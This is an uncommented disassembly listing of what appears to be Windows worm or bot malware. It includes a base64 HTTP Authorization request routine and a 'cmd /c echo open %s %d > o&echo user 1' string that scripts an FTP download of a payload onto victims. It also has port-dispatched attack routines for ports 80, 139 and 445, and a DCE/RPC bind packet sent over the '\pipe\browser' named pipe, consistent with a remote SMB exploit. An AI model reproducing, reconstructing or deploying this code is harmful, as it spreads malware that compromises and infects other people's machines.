sub_40CFDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D031 proc near ; CODE XREF: sub_40D07D+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427688
call sub_41C798
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427680
fstp [esp+10h+var_10]
call sub_41C679
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41C798
inc eax
leave
retn
sub_40D031 endp
; =============== S U B R O U T I N E =======================================
sub_40D07D proc near ; CODE XREF: sub_40D21F+24p
var_40 = qword ptr -40h
mov eax, offset loc_426DF7
call sub_41CC64
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D6B4
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D031
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D0BF
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D62F
loc_40D0BF: ; CODE XREF: sub_40D07D+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D1DC
mov ebx, [ebp+10h]
loc_40D0CE: ; CODE XREF: sub_40D07D+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D0D8
push 3
jmp short loc_40D0EA
; ---------------------------------------------------------------------------
loc_40D0D8: ; CODE XREF: sub_40D07D+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D0E2
push 2
jmp short loc_40D0EA
; ---------------------------------------------------------------------------
loc_40D0E2: ; CODE XREF: sub_40D07D+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D0EB
push 1
loc_40D0EA: ; CODE XREF: sub_40D07D+59j
; sub_40D07D+63j
pop ebx
loc_40D0EB: ; CODE XREF: sub_40D07D+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_427698
fstp [esp+40h+var_40]
call sub_41C7BF
pop ecx
pop ecx
call sub_41C798
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D12A
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D12A: ; CODE XREF: sub_40D07D+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D198
add [ebp-18h], eax
loc_40D17C: ; CODE XREF: sub_40D07D+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_43245C[eax]
push eax
push 1
call sub_40D4B1
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D17C
loc_40D198: ; CODE XREF: sub_40D07D+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D1B6
push dword ptr [ebp+14h]
call sub_41AFE0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D50A
mov [ebp-18h], edi
loc_40D1B6: ; CODE XREF: sub_40D07D+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D1D0
sub esi, [ebp-1Ch]
loc_40D1C1: ; CODE XREF: sub_40D07D+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D4B1
dec esi
jnz short loc_40D1C1
loc_40D1D0: ; CODE XREF: sub_40D07D+13Fj
cmp [ebp+10h], edi
ja loc_40D0CE
push 1
pop ebx
loc_40D1DC: ; CODE XREF: sub_40D07D+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D6B4
push dword_427690
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D561
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D6B4
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D07D endp
; =============== S U B R O U T I N E =======================================
sub_40D21F proc near ; CODE XREF: ___:0040D41Cp
mov eax, offset loc_426E14
call sub_41CC64
sub esp, 10h
push ebx
push esi
push edi
push offset dword_43D808
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D07D
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41B4D5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D269
xor bl, bl
jmp short loc_40D2AD
; ---------------------------------------------------------------------------
loc_40D269: ; CODE XREF: sub_40D21F+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4276A0
cmp ecx, ebx
jnz short loc_40D277
mov ecx, eax
loc_40D277: ; CODE XREF: sub_40D21F+54j
cmp [ebp+18h], ebx
jz short loc_40D27F
mov eax, [ebp+18h]
loc_40D27F: ; CODE XREF: sub_40D21F+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41B980
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CB6A4
cmp eax, esi
jz short loc_40D2A4
xor bl, bl
jmp short loc_40D2A6
; ---------------------------------------------------------------------------
loc_40D2A4: ; CODE XREF: sub_40D21F+7Fj
mov bl, 1
loc_40D2A6: ; CODE XREF: sub_40D21F+83j
push edi
call sub_41B0B1
pop ecx
loc_40D2AD: ; CODE XREF: sub_40D21F+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D6B4
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D6B4
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D21F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_432608
push eax
call sub_41C310
add esp, 0Ch
mov eax, offset byte_42910C
push eax
push eax
movzx eax, word ptr dword_4CB390
push eax
push dword ptr [ebp+8]
call sub_40AC10
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41B980
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_4324A0
push eax
call sub_40CADB
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D378
xor eax, eax
jmp loc_40D4A4
; ---------------------------------------------------------------------------
loc_40D378: ; CODE XREF: ___:0040D36Fj
mov [ebp-0Ch], esi
loc_40D37B: ; CODE XREF: ___:0040D47Bj
test esi, esi
jnz loc_40D481
push 6
push 1
push 2
call near ptr 71AB3C22h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D469
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB654
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CB694
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jz loc_40D45E
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D426
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D6B4
lea eax, [ebp+0Ch]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D6F0
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D21F
add esp, 1Ch
jmp short loc_40D45B
; ---------------------------------------------------------------------------
loc_40D426: ; CODE XREF: ___:0040D3E4j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D440
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CFDF
jmp short loc_40D458
; ---------------------------------------------------------------------------
loc_40D440: ; CODE XREF: ___:0040D430j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D45E
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CF05
loc_40D458: ; CODE XREF: ___:0040D43Ej
add esp, 0Ch
loc_40D45B: ; CODE XREF: ___:0040D424j
movzx esi, al
loc_40D45E: ; CODE XREF: ___:0040D3D7j
; ___:0040D44Aj
push ebx
call dword_4CB6EC
test esi, esi
jnz short loc_40D474
loc_40D469: ; CODE XREF: ___:0040D394j
push 3E8h
nop
call near ptr 2680000h
loc_40D474: ; CODE XREF: ___:0040D467j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D37B
loc_40D481: ; CODE XREF: ___:0040D37Dj
lea ecx, [ebp-8]
call sub_40C900
test esi, esi
jz short loc_40D4A2
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431B08[eax]
lea eax, dword_431B08[eax]
loc_40D4A2: ; CODE XREF: ___:0040D48Bj
mov eax, esi
loc_40D4A4: ; CODE XREF: ___:0040D373j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DD8
loc_40D4A9: ; CODE XREF: sub_426DD8+3j
; ___:00426DF1j ...
push 1
call sub_40D6B4
retn
; END OF FUNCTION CHUNK FOR sub_426DD8
; =============== S U B R O U T I N E =======================================
sub_40D4B1 proc near ; CODE XREF: sub_40D07D+110p
; sub_40D07D+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427690
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D4CB
call sub_42669A
loc_40D4CB: ; CODE XREF: sub_40D4B1+13j
test ebx, ebx
jbe short loc_40D502
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62F
test al, al
jz short loc_40D502
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41B590
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D502: ; CODE XREF: sub_40D4B1+1Cj
; sub_40D4B1+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D4B1 endp
; =============== S U B R O U T I N E =======================================
sub_40D50A proc near ; CODE XREF: sub_40D07D+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427690
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D524
call sub_42669A
loc_40D524: ; CODE XREF: sub_40D50A+13j
test ebx, ebx
jbe short loc_40D559
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62F
test al, al
jz short loc_40D559
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D559: ; CODE XREF: sub_40D50A+1Cj
; sub_40D50A+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D50A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D561 proc near ; CODE XREF: sub_40D07D+17Cp
; sub_4265B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D579
call sub_426573
loc_40D579: ; CODE XREF: sub_40D561+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D58B
mov esi, [ebp+arg_8]
loc_40D58B: ; CODE XREF: sub_40D561+25j
cmp edi, ebx
jnz short loc_40D5AD
push dword_427690
add esi, ecx
mov ecx, edi
push esi
call sub_40D725
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D725
jmp short loc_40D626
; ---------------------------------------------------------------------------
loc_40D5AD: ; CODE XREF: sub_40D561+2Cj
test esi, esi
jbe short loc_40D5F0
cmp esi, eax
jnz short loc_40D5F0
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5C1
mov eax, offset dword_4276A0
loc_40D5C1: ; CODE XREF: sub_40D561+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D5F0
push 1
mov ecx, edi
call sub_40D6B4
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5DC
mov eax, offset dword_4276A0
loc_40D5DC: ; CODE XREF: sub_40D561+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D626
; ---------------------------------------------------------------------------
loc_40D5F0: ; CODE XREF: sub_40D561+4Ej
; sub_40D561+52j ...
push 1
push esi
mov ecx, edi
call sub_40D62F
test al, al
jz short loc_40D626
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D60A
mov eax, offset dword_4276A0
loc_40D60A: ; CODE XREF: sub_40D561+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41C310
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D626: ; CODE XREF: sub_40D561+4Aj
; sub_40D561+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D561 endp
; =============== S U B R O U T I N E =======================================
sub_40D62F proc near ; CODE XREF: sub_40D07D+3Dp
; sub_40D4B1+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D641
call sub_42669A
loc_40D641: ; CODE XREF: sub_40D62F+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D66A
mov al, [ecx-1]
cmp al, dl
jz short loc_40D66A
cmp al, 0FFh
jz short loc_40D66A
cmp edi, edx
jnz short loc_40D6A5
dec al
push edx
mov [ecx-1], al
loc_40D65F: ; CODE XREF: sub_40D62F+47j
mov ecx, esi
call sub_40D6B4
loc_40D666: ; CODE XREF: sub_40D62F+4Bj
; sub_40D62F+52j
xor al, al
jmp short loc_40D6AF
; ---------------------------------------------------------------------------
loc_40D66A: ; CODE XREF: sub_40D62F+19j
; sub_40D62F+20j ...
cmp edi, edx
jnz short loc_40D683
cmp [esp+8+arg_4], dl
jz short loc_40D678
push 1
jmp short loc_40D65F
; ---------------------------------------------------------------------------
loc_40D678: ; CODE XREF: sub_40D62F+43j
cmp ecx, edx
jz short loc_40D666
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D666
; ---------------------------------------------------------------------------
loc_40D683: ; CODE XREF: sub_40D62F+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D6A0
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D695
cmp eax, edi
jnb short loc_40D6AD
loc_40D695: ; CODE XREF: sub_40D62F+60j
push 1
mov ecx, esi
call sub_40D6B4
jmp short loc_40D6A5
; ---------------------------------------------------------------------------
loc_40D6A0: ; CODE XREF: sub_40D62F+58j
cmp [esi+0Ch], edi
jnb short loc_40D6AD
loc_40D6A5: ; CODE XREF: sub_40D62F+28j
; sub_40D62F+6Fj
push edi
mov ecx, esi
call sub_40D78C
loc_40D6AD: ; CODE XREF: sub_40D62F+64j
; sub_40D62F+74j
mov al, 1
loc_40D6AF: ; CODE XREF: sub_40D62F+39j
pop edi
pop esi
retn 8
sub_40D62F endp
; =============== S U B R O U T I N E =======================================
sub_40D6B4 proc near ; CODE XREF: sub_40D07D+1Fp
; sub_40D07D+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D6E0
mov eax, [esi+4]
test eax, eax
jz short loc_40D6E0
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D6D9
cmp al, 0FFh
jz short loc_40D6D9
dec al
mov [ecx], al
jmp short loc_40D6E0
; ---------------------------------------------------------------------------
loc_40D6D9: ; CODE XREF: sub_40D6B4+19j
; sub_40D6B4+1Dj
push ecx
call sub_41CC83
pop ecx
loc_40D6E0: ; CODE XREF: sub_40D6B4+8j
; sub_40D6B4+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D6B4 endp
; =============== S U B R O U T I N E =======================================
sub_40D6F0 proc near ; CODE XREF: ___:0040D410p
; sub_40D849+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D62F
test al, al
jz short loc_40D71E
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D71E: ; CODE XREF: sub_40D6F0+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D6F0 endp
; =============== S U B R O U T I N E =======================================
sub_40D725 proc near ; CODE XREF: sub_40D561+39p
; sub_40D561+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D738
call sub_426573
loc_40D738: ; CODE XREF: sub_40D725+Cj
mov ecx, edi
call sub_40D849
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D74E
mov ebx, eax
loc_40D74E: ; CODE XREF: sub_40D725+25j
test ebx, ebx
jbe short loc_40D784
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41CC90
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D62F
test al, al
jz short loc_40D784
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D784: ; CODE XREF: sub_40D725+2Bj
; sub_40D725+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D725 endp
; =============== S U B R O U T I N E =======================================
sub_40D78C proc near ; CODE XREF: sub_40D62F+79p
mov eax, offset loc_426E20
call sub_41CC64
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D7B2
mov edi, [ebp+8]
loc_40D7B2: ; CODE XREF: sub_40D78C+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D7BF
xor eax, eax
loc_40D7BF: ; CODE XREF: sub_40D78C+2Fj
push eax
call sub_41CFC5
pop ecx
mov [ebp+8], eax
jmp short loc_40D7F0
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D7DA
xor eax, eax
loc_40D7DA: ; CODE XREF: sub_40D78C+4Aj
push eax
call sub_41CFC5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D7EA
retn
; ---------------------------------------------------------------------------
loc_40D7EA: ; DATA XREF: sub_40D78C+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D7F0: ; CODE XREF: sub_40D78C+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D80E
cmp eax, edi
jbe short loc_40D7FD
mov eax, edi
loc_40D7FD: ; CODE XREF: sub_40D78C+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41C310
add esp, 0Ch
loc_40D80E: ; CODE XREF: sub_40D78C+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D6B4
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D82E
mov edi, ebx
loc_40D82E: ; CODE XREF: sub_40D78C+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D78C endp
; =============== S U B R O U T I N E =======================================
sub_40D849 proc near ; CODE XREF: sub_40D725+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40D876
mov al, [esi-1]
test al, al
jz short loc_40D876
cmp al, 0FFh
jz short loc_40D876
push 1
call sub_40D6B4
push esi
call sub_41AFE0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D6F0
loc_40D876: ; CODE XREF: sub_40D849+9j
; sub_40D849+10j ...
pop edi
pop esi
retn
sub_40D849 endp
; =============== S U B R O U T I N E =======================================
sub_40D879 proc near ; DATA XREF: ___:00429008o
test byte_4DBC74, 1
jnz short loc_40D889
or byte_4DBC74, 1
loc_40D889: ; CODE XREF: sub_40D879+7j
jmp $+5
push offset nullsub_1
call sub_41D040
pop ecx
retn
sub_40D879 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D89B proc near ; DATA XREF: ___:0042900Co
jmp $+5
sub_40D89B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D8A0 proc near
mov eax, dword_4328C0
add eax, 6
mov dword_4CE374, eax
retn
sub_40D8A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8AE proc near ; CODE XREF: sub_40D8AE+D0p
; ___:0040DE0Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D8C2
or [ebp+arg_7], 1
jmp short loc_40D8C6
; ---------------------------------------------------------------------------
loc_40D8C2: ; CODE XREF: sub_40D8AE+Cj
and [ebp+arg_7], 0FEh
loc_40D8C6: ; CODE XREF: sub_40D8AE+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D8EA
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40D8FC
; ---------------------------------------------------------------------------
loc_40D8EA: ; CODE XREF: sub_40D8AE+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40D8FC: ; CODE XREF: sub_40D8AE+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41B4D5
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D995
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
nop
call near ptr 26F0000h
test eax, eax
jz short loc_40D98C
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40D98C
push [ebp+arg_20]
call sub_41B0B1
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D988
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40D8AE
add esp, 2Ch
jmp short loc_40D997
; ---------------------------------------------------------------------------
loc_40D988: ; CODE XREF: sub_40D8AE+B3j
mov al, 1
jmp short loc_40D997
; ---------------------------------------------------------------------------
loc_40D98C: ; CODE XREF: sub_40D8AE+9Cj
; sub_40D8AE+A4j
push [ebp+arg_20]
call sub_41B0B1
pop ecx
loc_40D995: ; CODE XREF: sub_40D8AE+61j
xor al, al
loc_40D997: ; CODE XREF: sub_40D8AE+D8j
; sub_40D8AE+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D8AE endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 0B8h ; ¸
db 0DCh ; Ü
db 60h ; `
db 0
db 0
db 0E8h ; è
db 77h ; w
db 0E1h ; á
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 68h ; h
db 0B4h ; ´
db 0DBh ; Û
db 42h ; B
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0A7h ; §
db 0F7h ; ÷
db 0
db 0
db 59h ; Y
db 33h ; 3
db 0DBh ; Û
db 85h ; …
db 0C0h ; À
db 59h ; Y
db 74h ; t
db 4Eh ; N
db 0FFh
db 75h ; u
db 8
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 68h ; h
db 3Ch ; <
db 29h ; )
db 43h ; C
db 0
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0A5h ; ¥
db 0DFh ; ß
db 0
db 0
db 6Ah ; j
db 20h
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 53h ; S
db 50h ; P
db 0E8h ; è
db 0A6h ; ¦
db 0DBh ; Û
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 89h ; ‰
db 85h ; …
db 38h ; 8
db 0FFh
db 0FFh
db 0FFh
db 0B8h ; ¸
db 8
db 0D8h ; Ø
db 43h ; C
db 0
db 53h ; S
db 50h ; P
db 50h ; P
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 50h ; P
db 0E8h ; è
db 43h ; C
db 8Dh ;
db 1
db 0
; ---------------------------------------------------------------------------
jmp short loc_40DA14
; ---------------------------------------------------------------------------
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
; ---------------------------------------------------------------------------
loc_40DA14: ; CODE XREF: ___:0040DA0Dj
push dword ptr [ebp+8]
lea eax, [ebp-40DCh]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-40DCh]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
nop
call near ptr 27009D7h
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DA58
loc_40DA51: ; CODE XREF: ___:0040DB30j
; ___:0040DD06j ...
xor al, al
jmp loc_40DE9C
; ---------------------------------------------------------------------------
loc_40DA58: ; CODE XREF: ___:0040DA4Fj
push 48h
lea eax, [ebp-0B8h]
push ebx
push eax
call sub_41B590
push 10h
mov byte ptr [ebp-0B8h], 5
pop eax
mov [ebp-0B7h], bl
push 1
mov [ebp-0B4h], eax
pop edi
mov byte ptr [ebp-0B6h], 0Bh
push eax
lea eax, [ebp-98h]
push offset dword_432914
push eax
mov byte ptr [ebp-0B5h], 3
mov word ptr [ebp-0B0h], 48h
mov [ebp-0AEh], bx
mov [ebp-0ACh], ebx
mov word ptr [ebp-0A8h], 10B8h
mov word ptr [ebp-0A6h], 10B8h
mov [ebp-0A4h], ebx
mov [ebp-0A0h], edi
mov [ebp-9Ch], bx
mov byte ptr [ebp-9Ah], 1
call sub_41C310
push 10h
lea eax, [ebp-84h]
push offset dword_432900
push eax
mov dword ptr [ebp-88h], 3
call sub_41C310
add esp, 24h
